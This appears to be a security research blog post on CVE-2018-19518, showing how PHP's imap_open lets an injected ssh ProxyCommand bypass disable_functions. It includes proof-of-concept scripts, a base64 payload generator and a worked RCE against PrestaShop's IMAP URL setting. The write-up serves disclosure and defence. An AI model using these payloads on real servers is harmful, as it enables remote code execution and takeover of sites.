Lucene search

K
wallarmlabWallarmWALLARMLAB:FC1DFF49B71C4DAEAE0EA624F0E66854
HistoryDec 06, 2018 - 5:32 p.m.

RCE in PHP or how to bypass disable_functions in PHP installations

2018-12-0617:32:24
Wallarm
lab.wallarm.com
2348

0.953 High

EPSS

Percentile

99.2%

Today we will explore an exciting method to remotely execute code even if an administrator set disable_functions in the PHP configuration file. It works at most popular UNIX-like systems.

CVE-2018–19518 was assigned to the vulnerability was found by a man with the @crlf nickname. Let’s see details of that vulnerability and how can we exploit it.

Testing Environment

For testing manipulations, we need to up a testing environment. I’ll use docker container with Debian 9 system and some security options set to off for debug.

docker run — rm -ti — cap-add=SYS_PTRACE — security-opt seccomp=unconfined — name=phpimap — hostname=phpimap -p80:80 debian /bin/bash

Next, we need to install an editor for human and PHP with IMAP module.

apt update && apt install -y nano php php-imap

At the time of the article, I have PHP version 7.0.30 installed from default repositories.

Also, we need ssh, because every self-respecting server has ssh, right? :)

apt install -y ssh

If you want to see system calls you need to install the strace tool.

apt install -y strace

Now, try to add some security to our PHP installation. To do this, I simply google “php disable dangerous functions”

and use the first link from the search results. Yes, I’m acting as an administrator with super skill here…

As per the manual, we need to add the following into our configuration file disable_functions directive. Let’s do that.

echo ‘; priority=99’ > /etc/php/7.0/mods-available/disablefns.ini


echo ‘disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source’ >> /etc/php/7.0/mods-available/disablefns.ini


phpenmod disablefns

Now we are, supposedly, protected and cannot execute most of the dangerous functions. Let’s see what we can do with that.

What is IMAP?

Why do we need to answer that strange question? Because it’s a bridge to execute any command within the system. Internet Message Access Protocol (IMAP) is an Internet standard protocol used by email clients to retrieve email messages from a mail server over a TCP/IP connection. IMAP was designed by Mark Crispin in 1986 as a remote mailbox protocol, in contrast to the widely used POP, a protocol for retrieving the contents of a mailbox. For now, IMAP is defined by RFC 3501 specification. IMAP was designed with the goal of permitting complete management of an email inbox by multiple email clients. Therefore clients generally leave messages on the server until the user explicitly deletes them. An IMAP server typically listens on port number 143. IMAP over SSL (IMAPS) is assigned the port number 993 by default. PHP has support for IMAP out-of-box, of course. To make the work with that protocol easier, PHP has a bunch of functions. Out of all these functions we are interested only in imap_open. It is used for opening an IMAP stream to a mailbox. That function is not a PHP core function; it was imported from UW IMAP Toolkit Environment developed by the University of Washington at 2007. The last version of that library was released about 7 years ago at 2011.

The syntax to call it inside PHP looks something like this:

resource imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]] )

The mailbox parameter used when you need to define a server to connect.

{[host]}:[port][flags]}[mailbox_name]

In addition to the standard host, port and mailbox name we can use some flags. All information about it is available inside the official manual page. A standard connection to some IMAP server may look like this:

imap_open(“{mail.domain.com}:143/imap/notls}”, “admin”, “admin”)

Where /imap and /notls is connection flags.

Look at the highlighted /norsh flag. IMAP allows you to use pre-authenticated ssh or rsh session to automatically login to a server. The flag used when you do not need to use that functional then by default it is attempted. Everybody knows about ssh, but who or what is rsh?

What is rsh?

Remote shell (rsh) was used a long time ago before ssh. It’s origin goes back to the BSD Unix operating system, along with rcp. It was a part of the rlogin package on 4.2BSD in 1983. Rsh has since been ported to other operating systems. Then, in 1995, the first version of the SSH protocol was introduced.

The rsh command has the same name as another common UNIX utility, the restricted shell, which first appeared in PWB/UNIX. In System V Release 4, the restricted shell is often located at /usr/bin/rsh. The question is, however, is rsh still around in 2018? Well, most popular Unix-like distros still utilize it in a way:

  • Ubuntu: link to ssh
  • Debian: link to ssh
  • Arch: rsh itself
  • etc

Vulnerability details

Look at the source code of the imap2007f library. The primary function that works with connections is tcp_aopen defined in tcp_unix.c file.

/imap-2007f/src/osdep/unix/tcp_unix.c:

321: /* TCP/IP authenticated open  
322: * Accepts: host name  
323: * service name  
324: * returned user name buffer  
325: * Returns: TCP/IP stream if success else NIL  
326: */  
…  
330: TCPSTREAM *tcp_aopen (NETMBX *mb,char *service,char *usrbuf)  
331: {

Let’s check if the paths to ssh and rsh are defined.

/imap-2007f/src/osdep/unix/tcp_unix.c:

341: #ifdef SSHPATH /* ssh path defined yet? */  
342: if (!sshpath) sshpath = cpystr (SSHPATH);  
343: #endif  
344: #ifdef RSHPATH /* rsh path defined yet? */  
345: if (!rshpath) rshpath = cpystr (RSHPATH);  
346: #endif

That code tells us that if SSHPATH is not defined then trying to read RSHPATH. A bit of source code surfing will help us find out where SSHPATH definition happens. It is, in fact, IMAP daemon read configuration file /etc/c-client.cf. The dorc procedure parsing information from it and among many other directives ssh-path exists. If it is defined, then SSHPATH takes it.

/imap-2007f/src/osdep/unix/env_unix.h:

48: /* dorc() options */  
49:  
50: #define SYSCONFIG “/etc/c-client.cf”

/imap-2007f/src/osdep/unix/env_unix.c:

1546: /* Process rc file  
…  
1552: void dorc (char *file,long flag)  
1553: {  
…  
1677: else if (!compare_cstring (s,”set ssh-path”))  
1678: mail_parameters (NIL,SET_SSHPATH,(void *) k);

By default it’s empty, and we cannot control it because the /etc directory is not write-enabled. But you can try to dig deeper in that direction, and, maybe, you can find a nice attack vector.

Now we jump to the RSHPATH definition. It’s located inside build automation tool (make) configuration file — Makefile. Different versions of distros have a different paths for their Makefiles. You can see /usr/bin/rsh path in most cases for Linux.

/imap-2007f/src/osdep/unix/Makefile:

248: bs3: # BSD/i386 3.0 or higher  
…  
253: RSHPATH=/usr/bin/rsh \  
…  
261: bsf: # FreeBSD  
…  
266: RSHPATH=/usr/bin/rsh \  
…  
528: mnt: # Mint  
…  
533: RSHPATH=/usr/bin/rsh \  
…  
590: osx: # Mac OS X  
…  
594: RSHPATH=/usr/bin/rsh \  
…  
673: slx: # Secure Linux  
…  
681: RSHPATH=/usr/bin/rsh \

I got Debian 9 as my testing environment, and I have /usr/bin/rsh as RSHPATH which is the link to ssh binary in my case.

Return to tcp_aopen and watch what happens after the definitions.

/imap-2007f/src/osdep/unix/tcp_unix.c:

347: if (*service == ‘*’) { /* want ssh? */


348: /* return immediately if ssh disabled */  
349: if (!(sshpath && (ti = sshtimeout))) return NIL;  
350: /* ssh command prototype defined yet? */  
351: if (!sshcommand) sshcommand = cpystr (“%s %s -l %s exec /etc/r%sd”);  
352: }  
353: /* want rsh? */  
354: else if (rshpath && (ti = rshtimeout)) {  
355: /* rsh command prototype defined yet? */  
356: if (!rshcommand) rshcommand = cpystr (“%s %s -l %s exec /etc/r%sd”);  
357: }  
358: else return NIL; /* rsh disabled */

The code generates a command to execute a rimapd binary on a remote server. Let’s create a PHP script for testing.

test1.php:

1: <?php  
2: @imap_open(‘{localhost:143/imap}INBOX’, ‘’, ‘’);

Then use strace tool with execve system calls filtering to watch what command will be executed during script processing.

strace -f -e trace=clone,execve php test1.php

As you can see the localhost is one of the arguments of the executed command. That means we can manipulate command line while manipulating server address parameter.

Let’s look at options of ssh binary because in Debian /usr/bin/rsh is the symbolic link to it. There are a bunch of options here, of course, we need to focus on -o.

With that option, I can pass any directives in the command line as if they were in a configuration file. Look at the ProxyCommand. With its help you can specify the command to use to connect to the server. The command executes in a user’s shell. That’s exactly what we need for a nice exploit!

Let’s see how it works with a simple command:

ssh -oProxyCommand=”echo hello|tee /tmp/executed” localhost

The command has succeeded completely.

Ok, but we cannot directly transfer it to a PHP script in place of imap_open server address, because, when parsing, it interprets spaces as delimiters and slashes as flags. Fortunately, you can use $IFS shell variable to replace space symbols or ordinary tabs (\t). You can insert tabs in bash use Ctrl+V hotkey and then Tab button.

ssh -oProxyCommand=”echo hello|tee /tmp/executed” localhost

To bypass slashes, you can use base64 encoding and relevant command to decode it.

echo “echo hello|tee /tmp/executed”|base64


> ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo=


ssh -oProxyCommand=”echo ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo=|base64 -d|bash” localhost

Work’s great! It’s time to test it in PHP.

test2.php:

1: <?php  
2: $payload = “echo hello|tee /tmp/executed”;  
3: $encoded_payload = base64_encode($payload);  
4: $server = “any -o ProxyCommand=echo\t”.$encoded_payload.”|base64\t-d|bash”;  
5: @imap_open(‘{‘.$server.’}:143/imap}INBOX’, ‘’, ‘’);

Now execute it with strace again and watch what the command line calls.

Look at the chain of those calls. There are all of our commands and they are being run over on the remote server. The exploitation completed, the file is created successfully. The command executed not by PHP itself but by an external library, which means nothing can prevent it from executing, not event disable_functions directive.

PrestaShop RCE

Now let’s look at a real-world example on PrestaShop. It is a freemium, open source e-commerce solution. The software published under the Open Software License. It is written in PHP with support for the MySQL database management system. PrestaShop is currently used by about 250,000 online shops worldwide.

First, you need to install the environment with the minimum requirements.

apt install -y wget unzip apache2 mysql-server php-zip php-curl php-mysql php-gd php-mbstring


service mysql start


mysql -u root -e “CREATE DATABASE prestashop; GRANT ALL PRIVILEGES ON *.* TO ‘root’@’localhost’ IDENTIFIED BY ‘megapass’;”


a2enmod rewrite

Next, download PrestaShop 1.7.4.4 installer and extract it to the web-root directory.

cd /var/www/html


wget <https://download.prestashop.com/download/releases/prestashop_1.7.4.4.zip>


unzip prestashop_1.7.4.4.zip


Start Apache2 daemon and surf your web-server to begin shop installation.


service apache2 start

After a successful installation process, login into the admin panel, go to the Customer service tab and look at the Customer service options section. There are IMAP server parameters, and you can find IMAP URL among them.

Look at the source code of the AdminCustomerThreads controller.

prestashop-1.7.4.4/controllers/admin/AdminCustomerThreadsController.php:

0948: // Executes the IMAP synchronization.  
0949: $sync_errors = $this->syncImap();  
…  
0966: public function syncImap()  
0967: {  
0968: if (!($url = Configuration::get(‘PS_SAV_IMAP_URL’))  
0969: || !($port = Configuration::get(‘PS_SAV_IMAP_PORT’))  
0970: || !($user = Configuration::get(‘PS_SAV_IMAP_USER’))  
0971: || !($password = Configuration::get(‘PS_SAV_IMAP_PWD’))) {  
0972: return array(‘hasError’ => true, ‘errors’ => array(‘IMAP configuration is not correct’));  
0973: }  
0974:  
0975: $conf = Configuration::getMultiple(array(  
0976: ‘PS_SAV_IMAP_OPT_POP3’, ‘PS_SAV_IMAP_OPT_NORSH’, ‘PS_SAV_IMAP_OPT_SSL’,  
0977: ‘PS_SAV_IMAP_OPT_VALIDATE-CERT’, ‘PS_SAV_IMAP_OPT_NOVALIDATE-CERT’,  
0978: ‘PS_SAV_IMAP_OPT_TLS’, ‘PS_SAV_IMAP_OPT_NOTLS’));  
…  
1007: $mbox = @imap_open(‘{‘.$url.’:’.$port.$conf_str.’}’, $user, $password);

You can see imap_open call here with user data $url variable.

I updated the previous script into a little payload generator on PHP. It takes command you want to execute as an argument.

payload.php:

1: <?php  
2: $payload = $argv[1];  
3: $encoded_payload = base64_encode($payload);  
4: $server = “any -o ProxyCommand=echo\t”.$encoded_payload.”|base64\t-d|bash}”;  
5: print(“payload: {$server}”.PHP_EOL);

Insert generated payload to the URL input and press save.

Voila! The remote code execution vulnerability is here.

Conclusion

Today we learned about a new technique to bypass security restrictions and implement remote code execution vulnerability. Look at the real world example of using it against the PrestaShop software which still doesn’t have a version that would address the problem. However, PHP developers already released the patch for this issue. Unfortunately, Linux distros repositories and packages inside them do not get updated as fast as we’d all liked them to.

Watch out and try to avoid insecure imap_open function calls in your projects.

Have a nice bug bounty ;)


RCE in PHP or how to bypass disable_functions in PHP installations was originally published in Wallarm on Medium, where people are continuing the conversation by highlighting and responding to this story.